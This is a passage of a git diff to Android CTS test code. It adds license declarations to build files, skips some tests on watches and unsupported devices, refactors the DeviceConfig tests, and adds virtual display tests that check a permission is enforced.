index b303c78..db42d4b 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_defaults {
     name: "hello_world_defaults",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
index a618068..c24d69a 100644
--- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
+++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContentPartiallyDirectBootAwareTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
index 1713171..e8904d7 100644
--- a/tests/tests/content/SyncAccountAccessStubs/Android.bp
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSyncAccountAccessStubs",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index 763cf4e..f8a2017 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContentEmptyTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/content/jni/Android.bp b/tests/tests/content/jni/Android.bp
index 2328276..3e8aeb8 100644
--- a/tests/tests/content/jni/Android.bp
+++ b/tests/tests/content/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libnativecursorwindow_jni",
     srcs: ["NativeCursorWindow.cpp"],
diff --git a/tests/tests/content/lib/accountaccess/Android.bp b/tests/tests/content/lib/accountaccess/Android.bp
index 0773b86..d4d22d0 100644
--- a/tests/tests/content/lib/accountaccess/Android.bp
+++ b/tests/tests/content/lib/accountaccess/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "accountaccesslib",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/content/pm/SecureFrp/Android.bp b/tests/tests/content/pm/SecureFrp/Android.bp
index 09872e7..8117dab 100644
--- a/tests/tests/content/pm/SecureFrp/Android.bp
+++ b/tests/tests/content/pm/SecureFrp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsSecureFrpInstallTestCases",
 
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 47ccab4..03a638c 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -24,6 +24,7 @@
 import android.content.ContentUris;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.ActivityInfo;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
@@ -31,6 +32,7 @@
 import android.media.RingtoneManager;
 import android.net.Uri;
 import android.net.wifi.WifiManager;
+import android.os.BatteryManager;
 import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.AlarmClock;
@@ -492,7 +494,10 @@
     }
 
     public void testPowerUsageSummarySettings() {
-        if (isHandheld()) {
+        if(FeatureUtil.isWatch()){
+            return;
+        }
+        if (isBatteryPresent()) {
             assertCanBeHandled(new Intent(Intent.ACTION_POWER_USAGE_SUMMARY));
         }
     }
@@ -515,6 +520,9 @@
     }
 
     public void testRequestSetAutofillServiceIntent() {
+        if (FeatureUtil.isWatch()) {
+            return;
+        }
         Intent intent = new Intent(Settings.ACTION_REQUEST_SET_AUTOFILL_SERVICE)
                 .setData(Uri.parse("package:android.content.cts"));
         assertCanBeHandled(intent);
@@ -560,4 +568,10 @@
                 && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
                 && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
     }
+
+    private boolean isBatteryPresent() {
+        final Intent batteryInfo = mContext.registerReceiver(null,
+                                    new IntentFilter(Intent.ACTION_BATTERY_CHANGED));
+        return batteryInfo.getBooleanExtra(BatteryManager.EXTRA_PRESENT, true);
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
index 4d4c079..121999e 100644
--- a/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
+++ b/tests/tests/content/src/android/content/cts/ClipboardManagerTest.java
@@ -21,6 +21,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.content.ClipData;
@@ -31,6 +32,7 @@
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.net.Uri;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -49,13 +51,13 @@
 @RunWith(AndroidJUnit4.class)
 //@AppModeFull // TODO(Instant) Should clip board data be visible?
 public class ClipboardManagerTest {
-    private Context mContext;
+    private final Context mContext = InstrumentationRegistry.getTargetContext();
     private ClipboardManager mClipboardManager;
     private UiDevice mUiDevice;
 
     @Before
     public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
+        assumeTrue("Skipping Test: Wear-Os does not support ClipboardService", hasAutoFillFeature());
         mClipboardManager = mContext.getSystemService(ClipboardManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mUiDevice.wakeUp();
@@ -365,4 +367,9 @@
             assertNull(item.getUri());
         }
     }
+
+    private boolean hasAutoFillFeature() {
+        return mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_AUTOFILL);
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/wm/OWNERS b/tests/tests/content/src/android/content/cts/wm/OWNERS
new file mode 100644
index 0000000..940ab87
--- /dev/null
+++ b/tests/tests/content/src/android/content/cts/wm/OWNERS
@@ -0,0 +1,2 @@
+include /tests/framework/base/windowmanager/OWNERS
+charlesccchen@google.com
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index b867f00e..46566a0 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -27,6 +27,10 @@
 import static android.content.pm.PackageManager.INSTALL_REASON_POLICY;
 import static android.content.pm.PackageManager.INSTALL_REASON_UNKNOWN;
 import static android.content.pm.PackageManager.INSTALL_REASON_USER;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_BULK;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_BULK_SECONDARY;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_DEFAULT;
+import static android.content.pm.PackageManager.INSTALL_SCENARIO_FAST;
 
 import static com.google.common.truth.Truth.assertThat;
 
@@ -80,6 +84,8 @@
     @Parameterized.Parameter(9)
     public Optional<Integer> installReason;
     @Parameterized.Parameter(10)
+    public Optional<Integer> installScenario;
+    @Parameterized.Parameter(11)
     public boolean expectFailure;
 
     private PackageInstaller mInstaller = InstrumentationRegistry.getInstrumentation()
@@ -154,7 +160,10 @@
          /*installReason*/
                 {{INSTALL_REASON_UNKNOWN, INSTALL_REASON_POLICY, INSTALL_REASON_DEVICE_RESTORE,
                         INSTALL_REASON_DEVICE_SETUP, INSTALL_REASON_USER,
-                        /* parame is not verified */ 0xfff}, {}}};
+                        /* parame is not verified */ 0xfff}, {}},
+         /*installScenario*/
+                {{INSTALL_SCENARIO_DEFAULT, INSTALL_SCENARIO_FAST, INSTALL_SCENARIO_BULK,
+                        INSTALL_SCENARIO_BULK_SECONDARY}, {}}};
 
         ArrayList<Object[]> allTestParams = new ArrayList<>();
 
@@ -221,7 +230,7 @@
                 + " appPackageName=" + appPackageName + " appIcon=" + appIcon + " appLabel="
                 + appLabel + " originatingUri=" + originatingUri + " originatingUid="
                 + originatingUid + " referredUri=" + referredUri + " installReason=" + installReason
-                + " expectFailure=" + expectFailure);
+                + " installScenario=" + installScenario + " expectFailure=" + expectFailure);
 
         SessionParams params = new SessionParams(mode.get());
         installLocation.ifPresent(params::setInstallLocation);
@@ -233,6 +242,7 @@
         originatingUid.ifPresent(params::setOriginatingUid);
         referredUri.ifPresent(params::setReferrerUri);
         installReason.ifPresent(params::setInstallReason);
+        installScenario.ifPresent(params::setInstallScenario);
 
         try {
             mSessionId = mInstaller.createSession(params);
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 3a035f6..726e5de 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -35,6 +35,7 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.content.ComponentName;
@@ -871,13 +872,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_MatchesApex() throws Exception {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         PackageInfo packageInfo = mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         assertShimApexInfoIsCorrect(packageInfo);
@@ -885,13 +881,8 @@
 
     @Test
     public void testGetPackageInfo_ApexSupported_ApexPackage_DoesNotMatchApex() {
-        // This really should be a assumeTrue(isUpdatingApexSupported()), but JUnit3 doesn't support
-        // assumptions framework.
-        // TODO: change to assumeTrue after migrating tests to JUnit4.
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0 /* flags */);
             fail("NameNotFoundException expected");
@@ -901,10 +892,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
             fail("NameNotFoundException expected");
@@ -914,10 +903,8 @@
 
     @Test
     public void testGetPackageInfo_ApexNotSupported_ApexPackage_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         try {
             mPackageManager.getPackageInfo(SHIM_APEX_PACKAGE_NAME, 0);
             fail("NameNotFoundException expected");
@@ -927,10 +914,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_MatchesApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -942,10 +927,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexSupported_DoesNotMatchApex() {
-        if (!isUpdatingApexSupported()) {
-            Log.i(TAG, "Device doesn't support updating APEX");
-            return;
-        }
+        assumeTrue("Device doesn't support updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
@@ -955,10 +938,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_MatchesApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(
                 PackageManager.MATCH_APEX);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
@@ -969,10 +950,8 @@
 
     @Test
     public void testGetInstalledPackages_ApexNotSupported_DoesNotMatchApex() {
-        if (isUpdatingApexSupported()) {
-            Log.i(TAG, "Device supports updating APEX");
-            return;
-        }
+        assumeFalse("Device supports updating APEX", isUpdatingApexSupported());
+
         List<PackageInfo> installedPackages = mPackageManager.getInstalledPackages(0);
         List<PackageInfo> shimApex = installedPackages.stream().filter(
                 packageInfo -> packageInfo.packageName.equals(SHIM_APEX_PACKAGE_NAME)).collect(
diff --git a/tests/tests/cronet/Android.bp b/tests/tests/cronet/Android.bp
index 179e6b3..947d5c0 100644
--- a/tests/tests/cronet/Android.bp
+++ b/tests/tests/cronet/Android.bp
@@ -14,6 +14,10 @@
 
 
 // TODO: Move this target to cts/tests/tests/net/cronet
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsCronetTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/database/Android.bp b/tests/tests/database/Android.bp
index e2e1f2c..9921305 100644
--- a/tests/tests/database/Android.bp
+++ b/tests/tests/database/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDatabaseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/database/apps/Android.bp b/tests/tests/database/apps/Android.bp
index 0f18003..9cb636a 100644
--- a/tests/tests/database/apps/Android.bp
+++ b/tests/tests/database/apps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
   name: "CtsProviderApp",
   sdk_version: "test_current",
@@ -24,4 +28,4 @@
     "cts",
     "general-tests",
   ]
-}
\ No newline at end of file
+}
diff --git a/tests/tests/deviceconfig/Android.bp b/tests/tests/deviceconfig/Android.bp
index ade7f7c..bcbab0e 100644
--- a/tests/tests/deviceconfig/Android.bp
+++ b/tests/tests/deviceconfig/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDeviceConfigTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
new file mode 100644
index 0000000..462ee62
--- /dev/null
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/AbstractDeviceConfigTestCase.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.deviceconfig.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.Executor;
+
+@RunWith(AndroidJUnit4.class)
+abstract class AbstractDeviceConfigTestCase {
+
+    static final Context CONTEXT = InstrumentationRegistry.getContext();
+    static final Executor EXECUTOR = CONTEXT.getMainExecutor();
+
+    static final String WRITE_DEVICE_CONFIG_PERMISSION = "android.permission.WRITE_DEVICE_CONFIG";
+    static final String READ_DEVICE_CONFIG_PERMISSION = "android.permission.READ_DEVICE_CONFIG";
+
+    // String used to skip tests if not support.
+    // TODO: ideally it would be simpler to just use assumeTrue() in the @BeforeClass method, but
+    // then the test would crash - it might be an issue on atest / AndroidJUnit4
+    private static String sUnsupportedReason;
+
+    /**
+     * Get necessary permissions to access and modify properties through DeviceConfig API.
+     */
+    @BeforeClass
+    public static void setUp() throws Exception {
+        if (CONTEXT.getUserId() != UserHandle.USER_SYSTEM
+                && CONTEXT.getPackageManager().isInstantApp()) {
+            sUnsupportedReason = "cannot run test as instant app on secondary user "
+                    + CONTEXT.getUserId();
+        }
+    }
+
+    @Before
+    public void assumeSupported() {
+        assumeTrue(sUnsupportedReason, isSupported());
+    }
+
+    static boolean isSupported() {
+        return sUnsupportedReason == null;
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
index 6d77ebb..a18bbca 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiPermissionTests.java
@@ -16,6 +16,8 @@
 
 package android.deviceconfig.cts;
 
+import androidx.test.InstrumentationRegistry;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
@@ -23,17 +25,13 @@
 import android.provider.DeviceConfig.OnPropertiesChangedListener;
 import android.provider.DeviceConfig.Properties;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 import org.junit.After;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.concurrent.Executor;
 
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiPermissionTests {
+public final class DeviceConfigApiPermissionTests extends AbstractDeviceConfigTestCase {
     private static final String NAMESPACE = "namespace";
     private static final String NAMESPACE2 = "namespace2";
     private static final String PUBLIC_NAMESPACE = "textclassifier";
@@ -41,16 +39,10 @@
     private static final String KEY2 = "key2";
     private static final String VALUE = "value";
 
-    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
-            "android.permission.WRITE_DEVICE_CONFIG";
-
-    private static final String READ_DEVICE_CONFIG_PERMISSION =
-            "android.permission.READ_DEVICE_CONFIG";
-
-    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
     @After
     public void dropShellPermissionIdentityAfterTest() {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .dropShellPermissionIdentity();
     }
diff --git a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
index 1f6d96e..9fb039d 100644
--- a/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
+++ b/tests/tests/deviceconfig/src/android/deviceconfig/cts/DeviceConfigApiTests.java
@@ -28,7 +28,6 @@
 import android.provider.DeviceConfig.Properties;
 
 import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.AfterClass;
@@ -41,8 +40,7 @@
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
 
-@RunWith(AndroidJUnit4.class)
-public final class DeviceConfigApiTests {
+public final class DeviceConfigApiTests extends AbstractDeviceConfigTestCase {
     private static final String NAMESPACE1 = "namespace1";
     private static final String NAMESPACE2 = "namespace2";
     private static final String EMPTY_NAMESPACE = "empty_namespace";
@@ -70,24 +68,16 @@
     private static final float VALID_FLOAT = 456.789f;
     private static final String INVALID_FLOAT = "34343et";
 
-    private static final Executor EXECUTOR = InstrumentationRegistry.getContext().getMainExecutor();
-
-
     private static final long WAIT_FOR_PROPERTY_CHANGE_TIMEOUT_MILLIS = 2000; // 2 sec
     private final Object mLock = new Object();
 
-
-    private static final String WRITE_DEVICE_CONFIG_PERMISSION =
-            "android.permission.WRITE_DEVICE_CONFIG";
-
-    private static final String READ_DEVICE_CONFIG_PERMISSION =
-            "android.permission.READ_DEVICE_CONFIG";
-
     /**
      * Get necessary permissions to access and modify properties through DeviceConfig API.
      */
     @BeforeClass
     public static void setUp() throws Exception {
+        if (!isSupported()) return;
+
         InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
                 WRITE_DEVICE_CONFIG_PERMISSION, READ_DEVICE_CONFIG_PERMISSION);
     }
@@ -97,6 +87,8 @@
      */
     @After
     public void cleanUp() throws Exception {
+        if (!isSupported()) return;
+
         // first wait to make sure callbacks for SetProperties/SetProperty
         // invoked in the test methods got emitted. So that the callbacks
         // won't interfere with setPropertiesAndAssertSuccessfulChange invoked
@@ -114,6 +106,8 @@
      */
     @AfterClass
     public static void cleanUpAfterAllTests() {
+        if (!isSupported()) return;
+
         deletePropertyThrowShell(NAMESPACE1, KEY1);
         deletePropertyThrowShell(NAMESPACE2, KEY1);
         deletePropertyThrowShell(NAMESPACE1, KEY2);
@@ -1096,4 +1090,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/display/Android.bp b/tests/tests/display/Android.bp
index ef97a61..2756a1d 100644
--- a/tests/tests/display/Android.bp
+++ b/tests/tests/display/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDisplayTestCases",
     defaults: ["cts_defaults"],
@@ -28,6 +32,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
     sdk_version: "test_current",
 }
diff --git a/tests/tests/display/src/android/display/cts/BrightnessTest.java b/tests/tests/display/src/android/display/cts/BrightnessTest.java
index 7bbe88d..0ec6a3d 100644
--- a/tests/tests/display/src/android/display/cts/BrightnessTest.java
+++ b/tests/tests/display/src/android/display/cts/BrightnessTest.java
@@ -36,6 +36,7 @@
 import android.hardware.display.DisplayManager;
 import android.os.ParcelFileDescriptor;
 import android.os.PowerManager;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.util.Pair;
 
@@ -56,6 +57,7 @@
 import java.util.Map;
 import java.util.Scanner;
 
+@AppModeFull
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class BrightnessTest {
diff --git a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
index db57eed..a0a567e 100644
--- a/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/VirtualDisplayTest.java
@@ -28,16 +28,16 @@
 import android.media.ImageReader;
 import android.os.Bundle;
 import android.os.Handler;
-import android.os.Looper;
 import android.os.HandlerThread;
+import android.os.Looper;
 import android.os.SystemClock;
+import android.platform.test.annotations.SecurityTest;
 import android.test.AndroidTestCase;
 import android.util.DisplayMetrics;
 import android.util.Log;
 import android.view.Display;
 import android.view.Surface;
 import android.view.ViewGroup.LayoutParams;
-import android.view.WindowManager;
 import android.widget.ImageView;
 
 import java.nio.ByteBuffer;
@@ -76,6 +76,9 @@
     private HandlerThread mCheckThread;
     private Handler mCheckHandler;
 
+    private static final int VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS = 1 << 9;
+    private static final int VIRTUAL_DISPLAY_FLAG_TRUSTED = 1 << 10;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -116,6 +119,7 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it.
      */
+    @SecurityTest
     public void testPrivateVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface, 0);
@@ -139,6 +143,7 @@
      * Ensures that an application can create a private presentation virtual display and show
      * its own windows on it.
      */
+    @SecurityTest
     public void testPrivatePresentationVirtualDisplay() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, mSurface,
@@ -163,6 +168,7 @@
      * Ensures that an application can create a private virtual display and show
      * its own windows on it where the surface is attached or detached dynamically.
      */
+    @SecurityTest
     public void testPrivateVirtualDisplayWithDynamicSurface() throws Exception {
         VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
                 WIDTH, HEIGHT, DENSITY, null, 0);
@@ -190,6 +196,51 @@
         assertDisplayUnregistered(display);
     }
 
+    /**
+     * Ensures that {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS} will
+     * be clear if an application creates an virtual display without the
+     * flag {@link DisplayManager#VIRTUAL_DISPLAY_FLAG_TRUSTED}.
+     */
+    @SecurityTest
+    public void testUntrustedSysDecorVirtualDisplay() throws Exception {
+        VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+                WIDTH, HEIGHT, DENSITY, mSurface,
+                VIRTUAL_DISPLAY_FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS);
+        assertNotNull("virtual display must not be null", virtualDisplay);
+
+        Display display = virtualDisplay.getDisplay();
+        try {
+            // Verify that the created virtual display doesn't have flags
+            // FLAG_SHOULD_SHOW_SYSTEM_DECORATIONS.
+            assertDisplayRegistered(display, Display.FLAG_PRIVATE);
+            assertEquals(mSurface, virtualDisplay.getSurface());
+
+            // Show a private presentation on the display.
+            assertDisplayCanShowPresentation("private presentation window",
+                    display, BLUEISH, 0);
+        } finally {
+            virtualDisplay.release();
+        }
+        assertDisplayUnregistered(display);
+    }
+
+    /**
+     * Ensures that throws {@link SecurityException} when an application creates a trusted virtual
+     * display without holding the permission {@code ADD_TRUSTED_DISPLAY}.
+     */
+    @SecurityTest
+    public void testTrustedVirtualDisplay() throws Exception {
+        try {
+            VirtualDisplay virtualDisplay = mDisplayManager.createVirtualDisplay(NAME,
+                    WIDTH, HEIGHT, DENSITY, mSurface, VIRTUAL_DISPLAY_FLAG_TRUSTED);
+        } catch (SecurityException e) {
+            // Expected.
+            return;
+        }
+        fail("SecurityException must be thrown if a trusted virtual display is created without"
+                + "holding the permission ADD_TRUSTED_DISPLAY.");
+    }
+
     private void assertDisplayRegistered(Display display, int flags) {
         assertNotNull("display object must not be null", display);
         assertTrue("display must be valid", display.isValid());
diff --git a/tests/tests/dpi/Android.bp b/tests/tests/dpi/Android.bp
index e3fa2ea..35ff3fd 100644
--- a/tests/tests/dpi/Android.bp
+++ b/tests/tests/dpi/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDpiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/dpi2/Android.bp b/tests/tests/dpi2/Android.bp
index e38a6fc..39ccf24 100644
--- a/tests/tests/dpi2/Android.bp
+++ b/tests/tests/dpi2/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDpiTestCases2",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/dreams/Android.bp b/tests/tests/dreams/Android.bp
index 13c05b8..00fc883 100644
--- a/tests/tests/dreams/Android.bp
+++ b/tests/tests/dreams/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDreamsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/drm/Android.bp b/tests/tests/drm/Android.bp
index 59c23d2..9fe8a23 100644
--- a/tests/tests/drm/Android.bp
+++ b/tests/tests/drm/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsDrmTestCases",
